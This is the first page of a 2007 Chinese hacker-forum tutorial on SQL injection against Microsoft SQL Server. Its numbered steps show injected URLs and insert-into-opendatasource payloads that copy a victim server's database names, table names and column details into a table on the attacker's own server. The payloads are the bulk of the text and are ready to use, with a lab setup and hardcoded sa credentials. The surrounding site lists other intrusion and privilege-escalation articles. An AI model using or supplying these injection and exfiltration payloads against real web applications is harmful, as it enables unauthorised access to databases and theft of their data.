入侵高手。">
黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 黑软介绍 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[组图]SQL INJECTION的终极利器opendatasource和openrowset
      ★★★★★

SQL INJECTION的终极利器opendatasource和openrowset

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-5-14 9:18:01

第一步:得到当前所有库名
  我们先在192.168.8.20上建库名和表名,你如果在企业管理器图形界面下安装我也不反对,我是直接的查循分析器写的语句:

create database lcx
CREATE TABLE ku(name nvarchar(256) null);
CREATE TABLE biao(id int NULL,name nvarchar(256) null);

  这样我们就建好了一个库名是lcx,有两个表分别是ku和biao。Ku这个表存放了一个列名是name,类型是nvarchar(256);biao这个表存放了两个列名,分别是int型的id和nvarchar(256)型的name列名。这里的库名、表名、列名的名字都是随便定的,你只要保证类型对就可以了。

  我们先来温习一下得到所有库名的SQL语句,代码是select name from master.dbo.sysdatabases。如果你现在还不懂这句代码的话,可要恶补一下了。我们用一条语句得到192.168.8.10服务器上的所有数据库名。

insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select name from master.dbo.sysdatabases--
在我们的测试环境上就是:
http://192.168.8.10/web/f.asp?password=1'insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases—
效果如图3所示:

此时你跑去192.168.8.20的SQL上看一下KU这个表,你会惊奇发现对方所有的库名已经整齐的排好了,图4。

说到这里很多人可能又要担心权限问题了,我可以放心的告诉你,在public权限下也可以用opendatasource这个宏的。那么得到所有的库了,你怎么才能知那个是当前库呢?哈,你把语句换一下不就得了,换成
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.ku select db_name(0)--
不就可以了吗?在图4中,bbsuser是我们的注入的当前库,我们来获得当前库的所有表名。

第二步:得到当前库的所有表名
语句为:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--
这个语句省略了当前库名,得到就是当前库的所有表名。你也可以把语句换成:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from bbsuser.dbo.sysobjects where xtype='U'--
我们来做下测试,语句效果图如图5所示:

此时,我们再跑到192.168.8.20去看lcx.dbo.biao这里的数据,你会看到什么?图6

是不是我们已经获取了当前库的所有表名呢?好学的你肯定又要问了,那么我如何获得其它库的所有表名呢?很简单呀,基本语句格式如下:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from 库名.dbo.sysobjects where xtype='U'--

这里的库名我们在第一大步已经猜出来了。

第三步:获取列名
在图6中看没有看到,我们获得的第一个列名是bbsuser,其ID值是357576312.。有了这两条信息,我们来获取列名吧。在获取列名之前,我们要在192.168.8.20上先做一步工作,复制一个系统表结构。在我先前建好的lcx库中执行语句: select * into [tmpcolumns] from syscolumns where 1=2  这样会把系统表syscolumns的结构复制给[tmpcolumns]。

做法示例图7。

我们来获取bbsuser这个表的所有列名,因为ID值是357576312,所以我们的语句是:

insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=357576312--
注入效果如图9所示:

再回到192.168.8.20上来看一下lcx.dbo.tmpcolum这个表,里边是什么内容(图10):

看到了吧?得到了bbsuser的所有列名,还有列名的一些其它信息。这里的其它信息也是有用的,给我们下一步获得字段值的工作做好了准备。这里我只解释图10中的两个列名的意思。其中length是你获取的列名的长度,xtype是你获取的列名的类型。也许你要问了,为什么获取的类型怎么都是56、175这样的数字呢? 我查了一些资料,找到了数字与类型对应的关系,关系表如下:
when 34 then ''image''
when 35 then ''text''
when 52 then ''smallint''
when 56 then ‘int''
when 61 then ''datetime''
when 62 then ''float''
when 108 then ''numeric''
when 167 then ''varchar''
when 175 then ''char''
when 231 then ''nvarchar''

 

上一页  [1] [2] [3] 下一页

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886